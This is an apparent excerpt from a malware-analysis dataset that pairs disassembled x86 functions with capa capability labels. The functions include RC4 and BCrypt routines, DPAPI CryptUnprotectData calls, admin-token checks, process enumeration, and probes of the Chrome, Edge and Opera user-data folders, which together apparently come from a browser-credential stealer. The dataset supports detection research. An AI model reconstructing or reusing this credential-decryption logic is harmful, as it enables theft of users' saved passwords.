joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1010b7b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x1027de70], 0
mov dword [0x1027de74], 0
mov dword [0x1027de80], 0
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
je 0x1010b811
jmp 0x1010b819
mov eax, dword [0x1027de70]
mov ecx, dword [0x1027de74]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], edx
jmp 0x1010b82a
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], eax
jmp 0x1010b82a
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add ecx, 1
mov dword [0x1027de68], 0x1e8a
mov edi, eax
add edi, 1
mov dword [ebp - 0x30], eax
mov eax, ecx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x1027de70], edx
mov ecx, dword [ebp - 0x1c]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x34]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x1027de74], edx
mov dword [0x1027de68], 0x40c5
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x1027de78], cl
mov dword [0x1027de6c], 0x471
mov ebx, dword [ebp - 0x1c]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x1027de78]
mov edx, dword [0x1027de74]
mov byte [ebx + edx], cl
mov edx, dword [0x1027de70]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x1027de74]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x1027de80], ecx
mov dword [0x1027de68], 0x1cd9
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x30]
mov ch, byte [edx + esi]
mov dword [0x1027de6c], 0xbad
mov dword [0x1027de68], 0x1439
xor ch, cl
mov edx, dword [ebp - 0x18]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x20], edi
jne 0x1010b7f8
jmp 0x1010b811
Function at 0x1010b920
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
lea eax, [esp + 0x88]
lea ecx, [esp + 0x28]
mov dword [0x1027de68], 0x20bf
mov dword [esp], eax
mov dword [esp + 0x24], ecx
call fcn.1010a280
lea ecx, [0x10109ff0]
mov edx, dword [esp + 0x88]
mov dword [esp + 0x74], edx
mov dword [esp + 0x70], 0x147e00
mov edx, dword [0x1027de54]
mov dword [esp + 0x68], edx
mov edx, dword [0x1027de58]
mov dword [esp + 0x60], edx
mov edx, dword [0x1027de5c]
mov dword [esp + 0x40], edx
mov edx, dword [0x1027de60]
mov dword [esp + 0x34], edx
mov edx, dword [0x1027de64]
mov dword [esp + 0x5c], edx
mov dword [0x1027de68], 0x212d
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jmp 0x1010ba15
mov eax, dword [esp + 0x18]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
jmp 0x1010ba15
mov eax, dword [esp + 0x14]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
jne 0x1010b9ac
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x84], eax
mov dword [0x1027de6c], 0x1fcc
mov eax, dword [eax + ecx + 0x50]
mov dword [esp + 0x28], eax
call fcn.1010b2d0
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x14], ecx
je 0x1010ba26
jmp 0x1010b9c0
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x18], eax
je 0x1010b9c8
jmp 0x1010b9ac
lea eax, [esp + 0x28]
mov ecx, dword [esp + 0x90]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1010ac00
mov ecx, esp
lea edx, [esp + 0x28]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x1027de68], 0x1ed4
mov dword [esp + 0x14], eax
jmp 0x1010b9c0
Function at 0x4033e0
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 0
push 0
push 0x4f65c0
mov edx, dword [0x4f65c4]
push edx
call dword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
test eax, eax
je 0x403425
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.BCryptGenerateSymmetricKey_error:__d_n
call fcn.004012b0
add esp, 8
xor eax, eax
jmp 0x4034dc
mov dword [ebp - 0x10], 0x400
mov dword [ebp - 0xc], 0
push 0x40
push 0
lea eax, [ebp - 0x54]
push eax
call fcn.004b6f30
add esp, 0xc
mov dword [ebp - 0x54], 0x40
mov dword [ebp - 0x50], 1
mov ecx, dword [ebp + 8]
add ecx, 3
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], 0xc
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
lea ecx, [eax + edx - 0x10]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], 0x10
mov dword [ebp - 0x14], 0
push 0x400
call fcn.004b482c
add esp, 4
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
mov dword [ebp - 4], edx
push 0x400
push 0
mov eax, dword [ebp - 4]
push eax
call fcn.004b6f30
add esp, 0xc
push 0
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
push 0
push 0
lea ecx, [ebp - 0x54]
push ecx
mov edx, dword [ebp + 0xc]
sub edx, 0x1f
push edx
mov eax, dword [ebp + 8]
add eax, 0xf
push eax
mov ecx, dword [0x4f65c0]
push ecx
call dword [sym.imp.bcrypt.dll_BCryptDecrypt]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x403a30
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x49c
mov eax, dword [0x4f3070]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x474], ecx
mov dword [ebp - 0x46c], 0
mov ecx, dword [ebp - 0x474]
call fcn.00403dc0
movzx eax, al
test eax, eax
je 0x403a89
push 0x4e1392
mov ecx, dword [ebp + 8]
call fcn.00404150
mov ecx, dword [ebp - 0x46c]
or ecx, 1
mov dword [ebp - 0x46c], ecx
mov eax, dword [ebp + 8]
jmp 0x403c35
mov byte [ebp - 0x468], 0
push 0x3ff
push 0
lea edx, [ebp - 0x467]
push edx
call fcn.004b6f30
add esp, 0xc
mov dword [ebp - 0x478], 1
lea eax, [ebp - 0x478]
push eax
lea ecx, [ebp - 0x468]
push ecx
mov ecx, dword [ebp - 0x474]
call fcn.00403df0
push eax
mov ecx, dword [ebp - 0x474]
call fcn.00403e10
push eax
call fcn.00402f00
add esp, 0x10
mov dword [ebp - 0x49c], eax
call fcn.00403370
mov dword [ebp - 0x484], 0
lea edx, [ebp - 0x463]
mov dword [ebp - 0x494], edx
mov eax, dword [ebp - 0x478]
sub eax, 5
mov dword [ebp - 0x498], eax
lea ecx, [ebp - 0x480]
push ecx
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x484]
push edx
lea eax, [ebp - 0x498]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x403b6a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CryptUnprotectData_error:__d__n
call fcn.004012b0
add esp, 8
push 0
mov ecx, dword [ebp + 8]
call fcn.00404150
mov ecx, dword [ebp - 0x46c]
or ecx, 1
mov dword [ebp - 0x46c], ecx
mov eax, dword [ebp + 8]
jmp 0x403c35
mov byte [ebp - 0x68], 0
push 0x63
push 0
lea edx, [ebp - 0x67]
push edx
call fcn.004b6f30
add esp, 0xc
mov eax, dword [ebp - 0x480]
add eax, 1
push eax
call fcn.004b482c
add esp, 4
mov dword [ebp - 0x488], eax
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x470], ecx
mov edx, dword [ebp - 0x480]
add edx, 1
push edx
push 0
mov eax, dword [ebp - 0x470]
push eax
call fcn.004b6f30
add esp, 0xc
mov ecx, dword [ebp - 0x480]
push ecx
mov edx, dword [ebp - 0x47c]
push edx
mov eax, dword [ebp - 0x470]
push eax
call fcn.004b6940
add esp, 0xc
push 0x20
mov ecx, dword [ebp - 0x470]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.004033e0
add esp, 0x10
mov dword [ebp - 0x490], eax
mov ecx, dword [ebp - 0x470]
mov dword [ebp - 0x48c], ecx
mov edx, dword [ebp - 0x48c]
push edx
call fcn.004b412a
add esp, 4
mov eax, dword [ebp - 0x490]
push eax
mov ecx, dword [ebp + 8]
call fcn.00404150
mov ecx, dword [ebp - 0x46c]
or ecx, 1
mov dword [ebp - 0x46c], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004b4119
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403c50
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x24], ecx
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x403ca9
push 0
mov ecx, dword [ebp + 8]
call fcn.00404150
mov edx, dword [ebp - 4]
or edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
jmp 0x403d02
mov eax, dword [ebp - 0x1c]
add eax, 1
push eax
call fcn.004b482c
add esp, 4
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x1c]
add edx, 1
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.004b6f30
add esp, 0xc
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.004b6940
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00404150
mov edx, dword [ebp - 4]
or edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x406260
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d3808
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x4f3070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x38], 0
je 0x4062a0
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x4062ac
mov al, 1
jmp 0x40644f
mov dword [ebp - 0x48], 8
call fcn.004015d0
push eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [edx + 0xc]
call eax
mov dword [ebp - 0x3c], eax
call fcn.004015d0
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.00401550
add esp, 8
movzx eax, al
test eax, eax
je 0x4062ef
xor al, al
jmp 0x40644f
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.004040e0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0x4c]
push edx
lea ecx, [ebp - 0x28]
call fcn.004058e0
mov ecx, eax
call fcn.00405650
mov esi, eax
lea ecx, [ebp - 0x28]
call fcn.00403df0
add esi, eax
push esi
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x28]
call fcn.004058e0
mov ecx, eax
call fcn.00405650
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x40
push ecx
mov edx, dword [ebp - 0x2c]
mov ecx, dword [edx + 0x38]
call fcn.00406ac0
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x40636a
cmp dword [ebp - 0x38], 1
je 0x406371
cmp dword [ebp - 0x38], 3
je 0x40640b
jmp 0x406423
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0x3d], 0
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x28]
call fcn.004058e0
mov ecx, eax
call fcn.00405650
mov edx, dword [ebp - 0x44]
sub edx, eax
mov dword [ebp - 0x34], edx
je 0x4063d4
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp - 0x34]
push edx
push 1
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x28]
call fcn.004058e0
mov ecx, eax
call fcn.00405650
push eax
call fcn.004bd962
add esp, 0x10
cmp dword [ebp - 0x34], eax
je 0x4063d4
mov byte [ebp - 0x2d], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00403f20
mov al, byte [ebp - 0x2d]
jmp 0x40644f
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x4063f7
mov byte [ebp - 0x2e], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00403f20
mov al, byte [ebp - 0x2e]
jmp 0x40644f
cmp dword [ebp - 0x34], 0
jne 0x406409
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.00405eb0
jmp 0x40643b
mov byte [ebp - 0x2f], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00403f20
mov al, byte [ebp - 0x2f]
jmp 0x40644f
mov byte [ebp - 0x30], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00403f20
mov al, byte [ebp - 0x30]
jmp 0x40644f
jmp 0x406302
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b4119
mov esp, ebp
pop ebp
ret
Function at 0x40a550
Capabilities:
Check if file exists
Get file attributes
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
mov eax, dword [0x4f3070]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x4e1d74]
mov dword [ebp - 0x104], eax
mov ecx, dword [0x4e1d78]
mov dword [ebp - 0x100], ecx
mov edx, dword [0x4e1d7c]
mov dword [ebp - 0xfc], edx
mov eax, dword [0x4e1d80]
mov dword [ebp - 0xf8], eax
mov ecx, dword [0x4e1d84]
mov dword [ebp - 0xf4], ecx
push 0xec
push 0
lea edx, [ebp - 0xf0]
push edx
call fcn.004b6f30
add esp, 0xc
mov dword [ebp - 0x1d4], 0x64
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x1cc]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea edx, [ebp - 0x1cc]
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.0040d6d0
add esp, 8
push str.AppDataLocalMicrosoftEdgeUser_Data
lea ecx, [ebp - 0x104]
push ecx
call fcn.0040d6d0
add esp, 8
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0xffffffff
je 0x40a626
mov eax, dword [ebp - 0x1d0]
and eax, 0x10
je 0x40a626
mov al, 1
jmp 0x40a628
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004b4119
mov esp, ebp
pop ebp
ret

Function at 0x40a640
Capabilities:
Check if file exists
Get file attributes
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
mov eax, dword [0x4f3070]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x4e1dd8]
mov dword [ebp - 0x104], eax
mov ecx, dword [0x4e1ddc]
mov dword [ebp - 0x100], ecx
mov edx, dword [0x4e1de0]
mov dword [ebp - 0xfc], edx
mov eax, dword [0x4e1de4]
mov dword [ebp - 0xf8], eax
mov ecx, dword [0x4e1de8]
mov dword [ebp - 0xf4], ecx
push 0xec
push 0
lea edx, [ebp - 0xf0]
push edx
call fcn.004b6f30
add esp, 0xc
mov dword [ebp - 0x1d4], 0x64
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x1cc]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea edx, [ebp - 0x1cc]
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.0040d6d0
add esp, 8
push str.AppDataLocalGoogleChromeUser_Data
lea ecx, [ebp - 0x104]
push ecx
call fcn.0040d6d0
add esp, 8
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0xffffffff
je 0x40a716
mov eax, dword [ebp - 0x1d0]
and eax, 0x10
je 0x40a716
mov al, 1
jmp 0x40a718
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004b4119
mov esp, ebp
pop ebp
ret
Function at 0x40a730
Capabilities:
Check if file exists
Get file attributes
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
mov eax, dword [0x4f3070]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x4e1dec]
mov dword [ebp - 0x104], eax
mov ecx, dword [0x4e1df0]
mov dword [ebp - 0x100], ecx
mov edx, dword [0x4e1df4]
mov dword [ebp - 0xfc], edx
mov eax, dword [0x4e1df8]
mov dword [ebp - 0xf8], eax
mov ecx, dword [0x4e1dfc]
mov dword [ebp - 0xf4], ecx
push 0xec
push 0
lea edx, [ebp - 0xf0]
push edx
call fcn.004b6f30
add esp, 0xc
mov dword [ebp - 0x1d4], 0x64
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x1cc]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea edx, [ebp - 0x1cc]
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.0040d6d0
add esp, 8
push str.AppDataRoamingOpera_SoftwareOpera_Stable
lea ecx, [ebp - 0x104]
push ecx
call fcn.0040d6d0
add esp, 8
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0xffffffff
je 0x40a806
mov eax, dword [ebp - 0x1d0]
and eax, 0x10
je 0x40a806
mov al, 1
jmp 0x40a808
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004b4119
mov esp, ebp
pop ebp
ret
Function at 0x40c1b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d3ca8
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x4f3070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x38], 0
je 0x40c1f0
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ecx + 0x3e]
test edx, edx
jne 0x40c1fc
mov al, 1
jmp 0x40c3a4
mov dword [ebp - 0x44], 8
call fcn.00408520
movzx eax, ax
push eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [edx + 0xc]
call eax
mov word [ebp - 0x36], ax
call fcn.00408520
mov word [ebp - 0x38], ax
lea ecx, [ebp - 0x36]
push ecx
lea edx, [ebp - 0x38]
push edx
call fcn.004084a0
add esp, 8
movzx eax, al
test eax, eax
je 0x40c244
xor al, al
jmp 0x40c3a4
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.004040e0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x48]
push edx
lea ecx, [ebp - 0x28]
call fcn.004058e0
mov ecx, eax
call fcn.00405650
mov esi, eax
lea ecx, [ebp - 0x28]
call fcn.00403df0
add esi, eax
push esi
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004058e0
mov ecx, eax
call fcn.00405650
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x40
push ecx
mov edx, dword [ebp - 0x2c]
mov ecx, dword [edx + 0x38]
call fcn.00406ac0
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x40c2bf
cmp dword [ebp - 0x3c], 1
je 0x40c2c6
cmp dword [ebp - 0x3c], 3
je 0x40c360
jmp 0x40c378
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0x3e], 0
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0x28]
call fcn.004058e0
mov ecx, eax
call fcn.00405650
mov edx, dword [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x34], edx
je 0x40c329
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp - 0x34]
push edx
push 1
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x28]
call fcn.004058e0
mov ecx, eax
call fcn.00405650
push eax
call fcn.004bd962
add esp, 0x10
cmp dword [ebp - 0x34], eax
je 0x40c329
mov byte [ebp - 0x2d], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00403f20
mov al, byte [ebp - 0x2d]
jmp 0x40c3a4
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ecx + 0x3e]
test edx, edx
jne 0x40c34c
mov byte [ebp - 0x2e], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00403f20
mov al, byte [ebp - 0x2e]
jmp 0x40c3a4
cmp dword [ebp - 0x34], 0
jne 0x40c35e
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.00405eb0
jmp 0x40c390
mov byte [ebp - 0x2f], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00403f20
mov al, byte [ebp - 0x2f]
jmp 0x40c3a4
mov byte [ebp - 0x30], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00403f20
mov al, byte [ebp - 0x30]
jmp 0x40c3a4
jmp 0x40c257
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b4119
mov esp, ebp
pop ebp
ret
Function at 0x40eec0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
push 0
mov ecx, dword [ebp - 4]
call fcn.00403e10
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x18
call fcn.00403e10
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40ef64
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
push 0x40d330
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.___
mov ecx, dword [ebp - 4]
add ecx, 0x18
call fcn.00403e10
push eax
push str.Error_:_CopyFileA___failed___
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x48]
push ecx
call fcn.0040d010
add esp, 8
push eax
call fcn.0040d010
add esp, 8
push eax
call fcn.0040d010
add esp, 8
mov ecx, eax
call fcn.0040f190
mov ecx, eax
call fcn.0040be70
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, 1
jmp 0x40ef66
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4119e0
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4f3070]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 0
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 5
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x12
push 1
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x411a55
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x18]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004b4119
mov esp, ebp
pop ebp
ret
Function at 0x411a70
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
mov eax, dword [0x4f3070]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x44
push 0
lea eax, [ebp - 0x28c]
push eax
call fcn.004b6f30
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x248], ecx
mov dword [ebp - 0x244], ecx
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x28c], 0x44
push 0x22c
push 0
lea edx, [ebp - 0x230]
push edx
call fcn.004b6f30
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xffffffff
jne 0x411b0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_:_The_CreateToolhelp32Snapshot_is_failed____d___n
call fcn.004012b0
add esp, 8
xor eax, eax
jmp 0x411bac
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x411b3e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_:_The_Process32First_is_failed____d___n
call fcn.004012b0
add esp, 8
xor eax, eax
jmp 0x411bac
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x411b74
mov ecx, dword [ebp - 0x228]
mov dword [ebp - 0x238], ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x238]
jmp 0x411bac
lea eax, [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x411b3e
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
push eax
push 0x4e2790
call fcn.004116b0
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004b4119
mov esp, ebp
pop ebp
ret